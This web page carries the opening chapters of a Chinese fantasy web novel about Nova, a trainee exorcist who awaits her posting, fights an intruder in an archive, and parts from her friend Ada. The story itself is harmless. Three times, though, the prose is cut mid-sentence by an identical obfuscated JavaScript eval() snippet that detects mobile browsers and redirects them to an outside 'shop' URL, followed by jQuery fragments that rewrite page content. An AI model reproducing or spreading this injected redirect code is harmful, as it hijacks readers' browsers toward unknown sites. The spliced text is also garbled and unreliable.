《淬火银锋》 1. 0.命运伊始（上） 0.命运伊始（上）/TheBeginningofFate “请问，有我的信件吗？” 女孩倚靠在柜台上，微微向前探身。几根黑色碎发垂在额前，灰色的眼睛望着坐在矮凳上的事务员。 事务员正在将刚到的一批信件分类。他脸都没抬：“没有。” 女孩垂头丧气地后退两步。 “你都没问她的名字，怎么知道没有？”一直靠在墙上的棕发女孩上前，平静地说。 “诺瓦·维里安，是吧？”事务员总算抬头了，他盯着黑发女孩，“从一个月前起，就每天来我这里问信件的事，我早就记住了。” 诺瓦有些尴尬地刮了刮脸颊。 “这几天，不管是信件还是电报，只要来了，我都先看是不是你的——真的没有。”事务员连抱怨都说得有些疲惫了，“总会不回消息，你催我也没有用。” 棕发女孩面不改色：“会不会是搞丢了？” “大前天，我就将这里翻了个遍，把最近所有信件都清点了，真的没有。”事务员说得很笃定。 棕发女孩斟酌着还想说些什么，诺瓦悄悄拉了拉她的衣袖。她回头扫了诺瓦一眼，只得对事务员说：“好的，麻烦您继续留意。” 就这样，她们离开了收发室。 ———— 两人在回廊中缓步行走，暮色将她们的身姿曳出长长的影子。 她们穿着先灵会预备驱魔人的黑色制服长裙，布料挺括，裁剪利落。长期训练的身姿往往挺拔如松竹，但此刻却因为懒散，走得摇摇晃晃歪七扭八。 “有的事情，你要多追问一下才好。他们未必对自己的工作很上心。”棕发女孩话里有些责怪的意思，语气却很温和。 “我每天都来问……他觉得麻烦，倒也不奇怪。”诺瓦轻声解释，“我不想得罪人……” “我们马上都要离开这里了，没有必要太在意这个。”棕发女孩回过头来，对她微笑，“快到饭点了，我们接下来去餐厅？” 落日余晖缓缓攀上她温和的脸庞，诺瓦点了点头。 路上她们没再说话。诺瓦亦步亦趋地跟在她身后半步的位置，微微低着头，看着靴子尖从盖过小腿的裙摆踢出来又收回去，就这样一步又一步。 诺瓦偶尔抬眼看着她的背影，眼眶微微发热。在眼睛足够潮湿之前，诺瓦会垂下眼继续数自己的步子。 这位棕发女孩叫艾达·布伦南，是与诺瓦同年接受训练的预备驱魔人。在过往七八年的受训时间里，她们住在同一间狭小的宿舍里。 去年年底，她们一起参加了驱魔人评议考核，并双双通过。按照正常的流程，她们的档案会被送去先灵会各个部门，需要补充人员的部门会根据需要接收新人。 艾达出生于驱魔人的家庭，评议刚通过，她就被接纳进父亲的驱魔执行队里了。 而现在已经三月中旬，其他通过考核的驱魔人都已陆陆续续收到通知，前去赴任。纪念照片早已拍完，离别宴席已经办过，诺瓦却没有收到任何消息。 过往的熟悉面孔都渐次离开，一批孩子作为新的预备驱魔人来到这里。在这个生活了多年的地方，诺瓦开始感到一种格格不入的别扭感。还好艾达答应留下来陪她，一直到赴任的最后期限。 这个期限就是明天。明天傍晚，艾达就要乘火车去往北方小城摩尔登，只有诺瓦一个人留在这里了。 ———— 她们抵达餐厅的时候，离用餐时间还差十分钟。 “我们坐下等等吧。”艾达找了个角落的位置，“你猜今晚会吃什么？” “还能有什么……再过一千年也不会变的粗粮面包和沙拉，然后是一道炖菜……这个倒是会装模做样地变一变，但说到底也就是牛羊肉配不同的蔬菜。”诺瓦絮絮叨叨地说着，坐在艾达对面。 艾达看着她，知道她心不在焉。过了一会，艾达说：“我其实写信问过爸爸，能不能让你也加入他的执行队……他说，正常的队伍规模就是五人左右，算上我已经有六个人，不适合再申请人员补充。” “……是么。”诺瓦怅然，随即抬眼微笑，“但还是谢谢你。” “哟，你们两个怎么还在这里？”轻快的女声传来，两个人都望过去。 一位红褐色头发的年轻女人从容地走过来：“你们的同期都走了吧？你们还没去赴任么？” “格林小姐，晚上好。”艾达说，“我坐明天傍晚的火车走。” 这年轻女人叫伊芙琳·格林，是驻守在分会的驱魔人，平时也会担当他们的剑术指导。 听到艾达的回答，伊芙琳又望向诺瓦。诺瓦只能很颓败地说：“我还没有得到消息……” “还没有？”伊芙琳一惊，“怎么会这样？他们把你的信搞丢了？” 诺瓦摇头：“我问过好多遍了，确实没有。” 伊芙琳皱了皱眉：“不应当啊……总会那边出差错了？我明天发电报给你问问。”她露出笑容，话锋一转，“话说回来，你们明天在这里，能不能帮我一个忙？我要征用你们一下！” 艾达道：“什么事？” “最近不是来了很多新人吗？你们也看到那些十岁出头的小朋友了吧。”伊芙琳说，“这两天，我们在处理他们的入会档案。本来，明天上午我要给他们体检——也不复杂，就是测测体重、身高、视力之类的。 “但是，今天突然出了点麻烦事，要我们出动去处理一下，明天大概结不了案。”伊芙琳叹气，“你们能帮我去测一下吗？这是最后的一步了，测完数据，填好表格，再塞到档案袋送到档案室去。很快的，不耽误你傍晚去坐车。” 说完，伊芙琳对艾达眨了眨眼。 艾达与诺瓦对视一眼，说：“好。” 伊芙琳满意地拍手，从腰间挂包取出一把钥匙：“给！这是档案室的钥匙。这两天，档案管理员请了病假，你们完成后，把档案放在柜台上就好。” 艾达怔了怔：“这样不太好吧？有的东西……我们没有权限接触吧？” “想什么呢，这把钥匙只是进档案室大门的。”伊芙琳笑了，“能摆出来的都是不重要的临时性文件。重要的档案都在暗房里，锁得可牢了，我也搞不到钥匙。” 艾达犹豫片刻，接下了钥匙。 ———— 诺瓦和艾达吃完饭回到宿舍时，天已经完全黑了下来。 艾恩代尔分会里，四面建筑围出一个宽阔的天井。安静下来的时候，回声便相当清晰。 她们已经习惯在夜里低声说话，但新来的小孩子不知道。诺瓦听见他们问嬷嬷在哪里打水、和别人争床铺，稚嫩的声音在早春尚未暖和起来的风里游走。 “明天，我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614433|206044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完成了格林小姐交代的事情，就出去玩吧。”艾达靠近，用肩膀撞撞诺瓦。 “明天不是开放日，出去要打申请吧……”诺瓦小声说。 “我们都是要走的人了，嬷嬷们早就不管我们了。”艾达说，“这些年，先灵会发的补贴我都攒着，我想去买套新衣服！摩尔登的款式都很土气，我想在这里买。陪我一起去，好不好？买完之后，再送我去火车站……” 送别实在是无法拒绝的理由，诺瓦点头：“好。” 艾达满意地笑了。 “摩尔登……是你的故乡吧？”诺瓦说，“那是怎样的地方呢？” “嗯……不太繁华啦。”艾达说，“那里其实挺远的，是我们分会辖区里最远的区域了。所以这些年我也不怎么回去。” “那你想回去么？” “还好。”艾达低声说，“摩尔登天气冷，是个落后的地方。” “听起来不是‘还好’哦……” 这时，她们已经到了宿舍门口，艾达掏出钥匙开门。 门锁年久失修，艾达转动钥匙，靠在门上顶一下才开门。她说：“好吧……我承认我不太喜欢摩尔登。但我爸爸在摩尔登，我在他的执行队工作，有人照应，也比较方便。” 说完，她率先进了房间，打开煤气灯。暖橙色的光芒倏忽亮起。宿舍很小，两张单人床放在房间的两边，右侧是诺瓦的床，换下的睡衣还随便搭在床上；左侧艾达的床则干净极了，因为能清理的都已经塞进行李箱，只等明天搬走。 诺瓦关好门，转过身来，看着艾达麻利解开腰间挂包的身影。她心想，摩尔登不好，但毕竟是可以回去的地方。 先灵会的预备驱魔人主要有两种来源。一种是孤儿，他们的父母被侵蚀生命杀死，教会出面收养他们，观察其中有天赋的存在，到了年纪，便推荐到先灵会当预备驱魔人。还有一种是驱魔人的后代，来到先灵会训练，来日继承父母的衣钵。 艾达是后者，诺瓦则居于两者之间。 诺瓦有一对驱魔人父母，但在诺瓦八岁那年，他们因为某次任务一去不返。 诺瓦不是很记得清那个时候的事情，他们离开的时候，她正好得了病，躺在床上迷迷糊糊。等到病好了，她被接到这里，从此再也没见过他们。 曾经有一位来指导他们的驱魔人前辈说，大部分驱魔人有三个家。第一个是出生的家，已经被侵蚀生命毁掉了；第二个是接受训练的分会，驱魔人会在这里结识很多同伴，但最后还是要分开；第三个是通过考核后加入的执行队，那才是更长久的家。 诺瓦已经到了离开第二个家的时候，却迟迟没有第三个家的消息。 “诺瓦，诺瓦。” 诺瓦一惊，看见艾达正在面前挥手。煤气灯的光亮透过指缝晃动不止，让她感到眼中灼热。 见到她回过神来，艾达放下手，露出了微笑。 诺瓦一直觉得艾达笑起来像一只棕色的玩具熊——虽然她从来不曾拥有过玩具熊，但艾达的笑容柔软而温暖，有一种毛茸茸的质感。 “我没事，只是在想事情。”诺瓦讪讪地报以微笑，也回过身去解腰间挂包。 艾达的声音从背后传来：“我会把我家的地址给你。不管以后怎么样，有机会的话，要来找我。” “……嗯。”诺瓦没有回头，轻轻地应了一声。 2. 0.命运伊始（中） 0.命运伊始（中）/TheBeginningofFate 第二天上午，诺瓦与艾达一起遵照伊芙琳的嘱咐，给新来的孩子们测量数据。 艾达让孩子们保持秩序，语气温和却又不容置疑，本来还嬉皮笑脸的小孩很快便乖乖站在标尺旁。诺瓦抱着夹板，在旁边记录。 今年的新人不算多，才二十六人，因此很快就全部测完。孩子们解散后，艾达掩上了医务室的门：“我们快点把文件分装好，送去档案室吧。这样能早点出去。” “好。”诺瓦将手中的一叠表格如同扇子般展开，露出各自的名字。艾达则抱着那一打档案袋过来：“我看看，第一个是……罗温·莫斯。” 诺瓦马上找到对应的表格递给她，艾达将其塞进档案袋：“然后是凯西·莱克。” 她们默契地将表格分装好。艾达一边将档案袋码齐一边说：“今年都没什么特别的人，我没看见一个标记有通灵天赋的。” “这种人本来就不多见，也不是年年都有。”诺瓦说。 “我还想趁着这个机会见见呢。”艾达说着，俯身清点数量。 每个预备驱魔人都会在入会时进行一些测试，这些孩子在前两天都把最重要的项目测完了，只剩下身高、体重一类给诺瓦她们办。 诺瓦与艾达在入会测试的表现都很普通，没有特别的天赋。只是身体相对其他孩子较为强健，才被推荐入会。 漫长的训练生涯里，她们的表现并不出挑。在档案记录里，诺瓦的各项才能是一以贯之的中庸；艾达的剑术还要差些，但驱魔人家族的出身让她见识稍广，平日里更加稳妥，在心理素质上得到了更好的评价。 “26份，没少。”艾达抱起了档案，“走吧，去档案室。”诺瓦连忙走到前面，给她开门让道。 ———— 档案室就在天井的另一边，一条走廊的尽头。 艾达两只手都忙着，诺瓦从她的挂包里拿出钥匙，钥匙刚进锁孔，门就开了。诺瓦怔了怔，这锁实在太滑，她刚刚有转动钥匙么？ 诺瓦将门打开一条缝，再缓缓推开，伴随着吱呀一声，一束光打进幽深晦暗的档案室里。 “进来吧。”诺瓦说。 艾达进门的时候，将门撞得吱呀作响。诺瓦却恍惚听见书页翻动的声音。她扫视档案室，没发现人，便将门虚掩。 档案室里，只有最高处有两道通风用的小窗，没有多少光照，黑漆漆的。里面只有柜台，以及立在柜台后的两排文件柜，放的应该都是伊芙琳所说的不重要的文件。 而那些重要的东西……诺瓦视线挪动，落在文件柜后的一道门上，那里完全被柜子的阴影覆盖，什么都看不清。 啪的一声，艾达将档案放在柜台，贴墙码好，见诺瓦张望的样子，问道：“怎么了？” “没什么，可能是听错了。”诺瓦莫名地有种不好的预感，“放好了吗？我们走吧，不是还要去玩吗？” 艾达说：“我们写个便条吧，灯在哪里开？” 出于想要快点离开的直觉，诺瓦本想说不必写便条了。话还没出口，艾达一回身就将煤气灯打开，诺瓦只能将声音咽下。 艾达探出柜台，从下面的桌面拿出纸笔，刷刷写了起来，端正隽秀的字母从笔尖流出。 艾达写纸条的间隙，诺瓦有些焦虑地抬起眼，却忽然呆住了——存放重要档案的那个房间，似乎没有锁门。 煤气灯的光照本就有限，落在最里面的那道门上已是黯淡无比。但那没有关闭的缝隙黑洞洞的，像是具有引力的深渊，诺瓦的目光不自觉地就跌落进去。 “好啦。”艾达抬起头，将纸条放在那叠档案袋上，回过身来，“钥匙给我吧，我来锁门。” 诺瓦匆忙将钥匙递给她，手指交叠的一瞬灯光错落。钥匙到了艾达手上，诺瓦不知为何松了口气，仿佛那钥匙很烫似的。 她转身要去开门，这一刻目光刚好扫过档案室深处那一线深渊，有一道银光陡然亮起。 “趴下！”诺瓦大喊，拽倒艾达。 “怎么……？”艾达还没说完，银色的锋刃擦着她的发丝切过，银剑扎在她身后的墙壁上。她怔了一瞬，仿佛心神也被擦下一块钉在墙上。 她惊惶地抬眼看着诺瓦。诺瓦托住她的肩膀要拽她起来，视线转向不远处的门：“快走！” 那道隐秘的暗门陡然破开，一个身影飞跃而来，一腿朝诺瓦的头部扫来。 诺瓦矮身前扑，顺手拽下墙上的银剑，躲过这一击。那人切入诺瓦与艾达之间，定定地站住。 那是一位很普通的中年男人，看上去有些面熟，但想不起名字，多半也是先灵会的驱魔人。看年纪，他的资历应该不浅。 他盯了诺瓦手中的剑一眼，随即移开视线。 门就在身后，诺瓦本应拔腿就走，但艾达被截在了里面。她们出来的时候没有带剑，没有武器的情况下，艾达很难支撑到救援到来。 诺瓦盯着这个男人，心中揣测。 他大概通过某种方式获得了钥匙，进来做些秘密的事。 因为档案室的大门只能从外面锁上，他只是关闭了门，没有上锁，因此诺瓦开门的时候根本不用转动钥匙。 本来，他想要隐藏到她们离开，但是听见她们要把门锁上，到时候自己被留在里面，强行破坏门锁必然会留下痕迹，因此一不做二不休，直接向她们出击了。 “放她走，我们离开的时间里，你还可以跑。”诺瓦握住剑，笃定地说。 “我？跑？”男人冷笑。 “你无论如何都会被发现。被我们拖在这里，等到其他驱魔人到来，你会被当场截获。”诺瓦说，“放她走，我们留给你离开先灵会的时间。各退一步，怎么样？” 诺瓦盯着男人，眼神余光却落在他身后的艾达身上。艾达喘着气，凝望着诺瓦，心中似乎也已经了然。 “拥有一个人质，也可以让我离开这里。”男人拔出随身的小刀。 “……离开之后，你会放了她么？”诺瓦问。 “取决于你们。”男人说，“我离开艾恩代尔就会放了她。” “那未免有些太远了，听起来好像不是很有诚意。” “人在我手上，”男人回首，作势要将艾达拽起来，“我不需要有诚意……” 这一瞬诺瓦一剑刺去，男人即刻以小刀格挡，已然做好准备的艾达陡然从他侧身滑过去。 “走！”诺瓦大喊，“去喊人来……！” 男人卸下剑力，挥舞小刀扑过来，诺瓦且战且退，听见艾达的呼喊声在外面响起，开始捕捉撤离的时机。 男人却皱了皱眉，几个回合下来，越发觉得小刀难以发力。被一个预备驱魔人缠住，他不禁怒火中烧。 他陡然将小刀向诺瓦面门掷出，恰好此刻诺瓦矮身奔逃出门，伴随着几声金属脆响，银光在墙边跳跃。 诺瓦狂奔出走廊，冲入天井，突如其来的光亮让她眯了眯眼。那个男人迅速追上了她，就在诺瓦不得不举剑迎击的时候，一个人影在男人的身后跃起。 “格林小姐！”诺瓦惊喜道。 伊芙琳高高举剑劈砍而下，男人翻滚躲避，那个方向，已经有另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614434|206044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个驱魔人等候截击。伊芙琳匆促追了上去，将诺瓦丢在原地。 诺瓦踉跄着退了两步，还在怔怔地看着伊芙琳的背影，艾达的声音从身后传来：“诺瓦！” 诺瓦刚回过头去，艾达便从后面抱住了她：“我把人找来了！你没事吧？” 诺瓦摇摇头：“格林……不是执行任务去了吗？咳、咳……”剧烈呼吸让诺瓦感到喉咙间泛起些许铁锈味，她咽了一口气强压下去，“她怎么还在这里？” 艾达迟疑着说：“看她路上的反应，那个人好像就和她的任务有关。”她扶住诺瓦的手臂，“我带你去休息，那个人交给格林他们就好了。” 诺瓦有些不想说话，便点了点头。 她低头看着手中的银剑，庆幸自己下意识抓住了那个人掷出的银剑，否则真是连还手之力都没有了。 ———— 艾达陪着诺瓦去茶水间，给她接了一杯水。诺瓦断断续续地啜饮着，呼吸渐渐平复。 “现在好点了吗？”艾达问道。 “嗯。” “那我们去找格林小姐吧。”艾达说，“他们应该已经解决那个人了。” 天井里回声荡漾，已经变得热闹了起来。环视四周，最接近出口的那个角落里已经聚集了一群人。 她们走了过去，见到刚刚的男人被绑在墙角里。伊芙琳注意到她们，急忙上前问道：“你们没事吧？到哪里去了？” “带她去喝了点水。”艾达说，“现在已经没事了。” “那就好，那就好。”伊芙琳拉住两人的手，松了口气，“如果你们真的受害了，那给你们钥匙的我就无地自容了。” 艾达问：“到底是怎么回事？” “仓库丢了一批要送到总会的吸血种样本，我们刚刚就在仓库调查。”伊芙琳苦恼地说，“但仓库根本就没有这批样本的入库记录，这和一些人的记忆对不上，有的就是我送到仓库去的！” “那……是仓库管理员监守自盗？他们把入库记录毁掉了？”艾达说。 “大概是的。”伊芙琳说，“入库记录会定期做备份，送到档案室里。那个人应该就是在毁掉那些备份记录，结果正好被你们撞上了。” 诺瓦好奇地问：“他们偷这些东西做什么？” “我哪知道。”伊芙琳抱怨道，“后续还要调查，毕竟那些样本都还没找回来。这事说不定还要上报总会……” “伊芙琳·格林！”人群里传来喊声。 “呜哇！我们执行长在叫我了……”伊芙琳打了个颤，哆哆嗦嗦地说，“他肯定要骂我把档案室钥匙给你们了，我先回去了……” 伊芙琳说着跑了回去，留两个人站在原地。 “居然有这种事……”诺瓦轻声说。 “有的。”艾达说。 诺瓦望向她。 艾达说：“我爸爸说，有时候，处理驱魔执行队的事情、应付先灵会的繁琐流程，比驱魔本身还要焦头烂额……” 诺瓦若有所思地沉默片刻，想到自己迟迟没有得到就任消息，愈发感到麻烦。她长吐一口气，忽然说：“我们还出去玩吗？” “啊？”艾达愣了一下，“不去休息一下吗？发生了这样的事情……”她不禁感到一丝荒诞。 “有什么问题吗……”诺瓦不解，“不是已经结束了吗？我们再不去就没有机会了……” 艾达哭笑不得：“你这个人……越吓人的事反而越没什么反应。”她压低声音，“那我们快点走吧，免得格林小姐抓我们问话。” “嗯！”诺瓦点头，拉着艾达回宿舍收拾行装。 3. 0.命运伊始（下） 0.命运伊始（下）/TheBeginningofFate 艾恩代尔市是东部重要的交通枢纽，市中心有一条繁华的商业街，离火车站也不远。 在车站寄存完行李，艾达与诺瓦穿过拥挤的人流，挤进一家成衣店。 店员见两位是年轻姑娘，便推荐了一些华丽的款式。艾达没怎么出门购置过衣物，试了两身才觉得不对劲。 她从试衣间出来，穿着一件粉色绒面的长裙，手里还捻着领口繁复的丝带，她实在是疲于系带了。她说：“不……这裙摆也太大。有没有方便行动一点的？色彩也有点太亮了……” “有，有！”店员即刻带着艾达走向店内深处。 这次，艾达换了一件浅杏色方领套裙，外套是羊毛混纺的，只在领口、袖口有简单的蕾丝花边。她对镜旋转，裙摆的斜纹提花闪出隐隐的光泽。 这颜色倒是温和，但对于长期穿着黑色制服的艾达来说还是有些太亮了。她有些不习惯。 “你觉得呢？”艾达问诺瓦，“这个颜色……是不是还是太出挑了？我们平日里不穿这种。” “我觉得挺好看。颜色嘛……”诺瓦对衣服实在没有什么想法，但她转念想到了什么，“你要在这里买衣服，不就是因为摩尔登的太土气了吗？要是在这里买，还买得和先灵会制服一样，就没有意义了。” “……也是。”艾达应了一声，望向镜子。 她是棕发棕眼，面容质朴温和，是最不起眼的那种女孩。套在先灵会的制服裙里，更是泯然众人。第一次穿上这样浅色的衣服，整个人都变得亮了一点。 艾达清楚，自己以后在摩尔登可能不会穿这件衣服。但她端详着镜子里的女孩，只觉得那很远很远，是另一个世界没有成为驱魔人、过着普通生活的艾达，心里有一种莫名的感动。 “就这件吧。”艾达说。 “好！这身的价格是二十四索林。”店员很满意地对艾达微笑，“我给您包起来？” 艾达点点头。店员拿着衣服走向柜台，抬眼见到诺瓦还穿着质朴的制服长裙，便问道：“这位小姐要不要也买一件？和您的朋友走在一起，会更搭调。” “不用，谢谢。”诺瓦礼貌地拒绝了。 店员没有坚持，稍稍微笑便低头打包了。 ———— 之后，她们去了糖果铺，见到一种色彩鲜亮、犹如珠宝的彩色糖珠。二人盯着看了一会，彩虹般的色彩映在她们的眼睛里。 店员凑近说，二位想要买一点吗？她们很快掏了钱，各自购入一罐。 离艾达的火车发车还有点时间。考虑到没吃午饭，她们决定去咖啡馆垫点肚子。 她们挑选了靠窗的位置坐下，点好咖啡与点心。等待上菜的间隙里，艾达打开了糖罐子，捻起一颗送进嘴里。 “好吃么？”诺瓦问道。 艾达含着糖果，一开始还微笑，结果慢慢皱了眉。她就这样咀嚼着，微微绷着脸：“甜得过头了，而且很粘牙。” “哎呀……真是中看不中用。”诺瓦无奈地说，“不过我们在先灵会也怎么没吃过，就当尝鲜吧。” 艾达端详着她，突然问道：“诺瓦，你是不是一直在想信的事情？” 诺瓦怔了怔，随即低头，露出尴尬的笑容：“对不起。” “……没事。”艾达微笑，“我走了之后，你也只能等那封信了……” “通过考核但一直没人接收，这样的事情很少见。”诺瓦轻声说，“我听说，一直没有被接收，可能要退出先灵会……那我该去哪里呢？” 她低下头，咬着嘴唇，按捺住心中翻涌的酸水。 艾达端详她许久，忽然说：“那就来摩尔登吧！” 诺瓦愕然地抬头：“可是……你说你爸爸的执行队已经满编了……” “不用执行队！”艾达站起来，双手拍在桌上，凑到诺瓦脸前，“就当一个暂住的朋友，先住在我家。转正后的驱魔人薪水不低，就花我的钱！之后慢慢来，不用急，不做驱魔人又怎么样呢？” 不做驱魔人？诺瓦怔怔地看着她。 艾达说：“你可以去有钱人家当侍女，会剑术的侍女可不多见……或者像我们刚刚去过的那些店一样，当一个店员！” 她说得很高兴，眼睛闪闪发亮，犹如透明的糖珠。 诺瓦心中一动——原来这就是艾达的愿望啊，但她愿意把这个愿望给你。 这时，侍者端着托盘上前，见到兴奋的艾达，有些尴尬地提醒：“女士，你们的餐品到了。” “噢。”艾达自觉失态，不禁一阵脸红，乖乖坐了回去。 侍者给她们各自一杯咖啡，放下一小筐曲奇、一块布丁。 诺瓦见到侍者离开，才缓缓说：“谢谢你，艾达——快吃吧，待会你要坐一晚上火车，车上的餐食可难吃了。” 艾达点点头，将布丁端到面前。而诺瓦只是端着咖啡细抿，透过蒸腾的微微热气，在眼睛被熏得又热又湿的时候看艾达一眼。 吃完点心，时间已经所剩无几，她们只得去火车站。 艾达在寄存处取出行李，诺瓦也正好买完站台票回来，晃动着手中的票给她看，说：“那个小箱子，我帮你提吧。” 艾达也不多客气，直接递给了她。 在检票口检完票，去站台的路上，艾达说：“我的地址已经给你了。等你收到了信，记得把你的就任地址告诉我。” 诺瓦说：“当然！” 人潮涌动的车站里，她们都不自觉地抬高了声音，成为喧嚷浪潮的一部分。 好不容易挤到站台，总算开阔了一点。暮色把天空染得金黄，扑在站台上形形色色的旅客身上。两个年轻女孩提着行李箱，逆着余晖快步经过。 排队的人很多，诺瓦想，挤到队伍里，就不一定能做些什么了，于是她叫住艾达：“艾达，等等。” “嗯？”艾达刚回身，诺瓦便抱住了她，像抱住一只毛茸茸的玩具熊。 “我们还会见面的。”艾达说。 诺瓦把脑袋垫在她的肩膀上，点了点头，放开了她。艾达检票上了火车，诺瓦急忙将剩余的行李递给她，她便背着沉重的行李挤入了列车。 艾达有一个最低档的卧铺包厢。过了一会，她的脸出现在车厢中央的一个车窗里，对诺瓦微笑着挥手。 诺瓦不知作何言语，只能傻笑着回应。 很快，汽笛声响起，火车猛地一颤，开始缓缓移动，伴随着哐当哐当的声音，一节一节车厢从眼前滑过去。艾达所在的车窗越来越小，隐没在滚滚尘烟里。 诺瓦想到，所谓的“第二个家”也随着列车离去了。 ———— 诺瓦踩着很慢很慢的步子，回了先灵会。此时天色已经黑了下去，星星点点的灯火渐渐燃起，天井里的回声又开始荡漾。 回宿舍的路上，她经过了收发室，收发室已经关门。今天她没有去问信件的事，不知道事务员会不会感到惊奇。但都这么多天了，少问一次多问一次，都无关紧要了。 她就这样失魂落魄地上楼，开始感到手臂酸痛——今天上午，拿着银剑作战的那只手。疲惫缓慢地追上了她。 走到门前，诺瓦掏出钥匙开门，刚开灯，便见到宿舍内的一张床已经空了。 正准备关门的时候，一道女声打碎静寂的夜色：“诺瓦·维里安！你跑哪里去了？” 诺瓦回过身去，见到伊芙琳大步流星地走过来，手中还挥着一封信。 “昨天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614435|206044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我答应了你，要给你发电报去问问。”伊芙琳说，“我去发电报的时候，他们把这个给了我——有消息了！” “真的吗？”诺瓦眼神一亮。 伊芙琳把信递给她：“居然是电报信，这可不多见。” 电报信？诺瓦怔怔地接过。 电报虽快，但字数有限。执行队接收新人的时候一般没有那么急，为了给新人留下更好的印象，他们大都选择用普通的纸质信通知，因为可以写得更加温情，多多介绍一些队伍的情况。 但她拿到的是电报信——要么是这个执行长公事公办毫无温情，要么是事情非常紧急。 “你们下午跑哪里去了？我还想问问你今天档案室发生的事情呢。”伊芙琳说。 诺瓦回过神来，呆呆地说：“艾达要走了……我去送她。” “这样啊。”伊芙琳捋了捋头发，倒是很理解，“能把档案室发生的事情告诉我吗？” “我开档案室门的时候，觉得钥匙刚进锁孔，门就开了。但我没开过档案室的门，想着档案室的门也许就这样，没多想……没想到里面藏了个人。”诺瓦顿了顿，“我们放好档案，那个人突然从里面的暗门出来，袭击我们。我正好拿到了他的剑，暂且挡住他，艾达去找你们求助……后来的事情，你也知道了。” “就这么简单？”伊芙琳说。 诺瓦点头。 “唔……好吧。看来对我没什么用。”伊芙琳叹气。 “这件事还没解决么？”诺瓦问道。 “没有。”伊芙琳说得很苦恼，“我们审问了那个人，他是为了钱把样本卖掉了。转了好几手，现在不知道卖哪里去了。后续还要追查。” 诺瓦不禁奇怪：“到底是谁要买这种东西？对于普通人来说，这些样本完全没用……能让人铤而走险，出价应该不低吧？” “是啊，出价很高。那家伙倒卖样本赚的钱，已经比我转正四年的薪水还要高了！”伊芙琳恨恨地说，“现在有些人，就是喜欢收藏奇奇怪怪的东西！越古怪、越吓人，越显得自己品味独特！” 诺瓦若有所思，并未接话。 伊芙琳唉声叹气：“这件事肯定要报告总会了，之后总会也许会派人来处理吧。我可不想管，与商人打交道，真是麻烦死了。” 说到这里，她摆摆手：“这件事和你没什么关系，反正你也要去别的地方赴任了，今天没有受伤就好。出发之前，需要帮助就来找我。” 她作势要走，忽然又停了下来，凑近对诺瓦说：“你要注意！有些执行长性格很糟糕，甚至会扣留你们的补贴！第一次见队友的时候，要慎重一点！” 伊芙琳眨了眨眼，转身离开了。 “谢谢……再见。”诺瓦说，而快步离开的伊芙琳大概没有听到。 她捻着信，进了房间。拆开信封，电报转译过来的文字非常简洁： “诺瓦·维里安：邀您加入艾恩代尔第十四执行队。首项委托，3月21日13点前抵艾恩代尔火车站第四贵宾室，凭先灵会凭证进入。艾德里安·温特” 诺瓦翻过电报单，一片空白——确实只有这么点信息，其他什么也没有了。 对于这所谓“第三个家”，她还是一无所知。她捏着电报单，悬着的心只落了一半。 3月21日……不就是明天吗？意识到这一点的一瞬间，诺瓦几乎是弹射起来跃至床边，从床下掏出行李箱。 好在空等了两个月，这段时间她早就把行李打包了个七七八八，何况本来也没有太多东西。她掀开箱子——几件衣物，几本可能再也不会翻开的学习笔记，先灵会配置的圣水、指南针等驱魔用品，已经码得整整齐齐。 她的心跳得有点快。她意识到，自己的旅途要开始了。 4. 1.列车座谈 1.列车座谈/ConversationontheTrain 1124年3月21日。 天气不怎么好，淡铅色的云压得低低的，空气中的水汽满得像是要溢出来。火车站外人来人往，贵妇们牵着侍女的手下了车，卖报纸的小孩小跑着上去推销，讨钱的乞丐跟在后头。 诺瓦·维里安提着两个大行李箱，踌躇地站在屋檐下。她的箱子里有先灵会的制式银剑，也不知道带着武器能不能上火车。 远远的，她看见在车站前的台阶上有人向她挥手。 诺瓦踮起脚望去，那是一个衣着体面的女人，看上去四十岁左右，黑色的帽子压在她齐整的深色头发上，在她端丽的面容上投下阴影。只见女人勾了勾手，示意诺瓦过去。 诺瓦小跑着上前，女人问她：“是诺瓦·维里安吗？” “是。”诺瓦放下行李箱，急忙掏出先灵会的证件翻开呈上，抬起头来看见女人平静而和善的脸，“请问您是……？” “叫我米切尔就好。我是卡斯特尔温泉庄园的管理人。”女人确认了诺瓦的身份，露出一个很浅的笑容，“您的这次委托，就是来自于卡斯特尔侯爵夫人。” 不是同伴吗？诺瓦怔了一下：“您好，米切尔女士。请问，我的驱魔人同伴到了吗？” “还没有到。”米切尔说，“我不是您的驱魔人同伴，但我们确实要共事一段时间。我先带您去候车室等候。” “好，麻烦您了。” 她跟在米切尔的身后，心中作鼓。她听说过卡斯特尔这一驰名国内外的贵族，委托居然来自卡斯特尔家吗？ 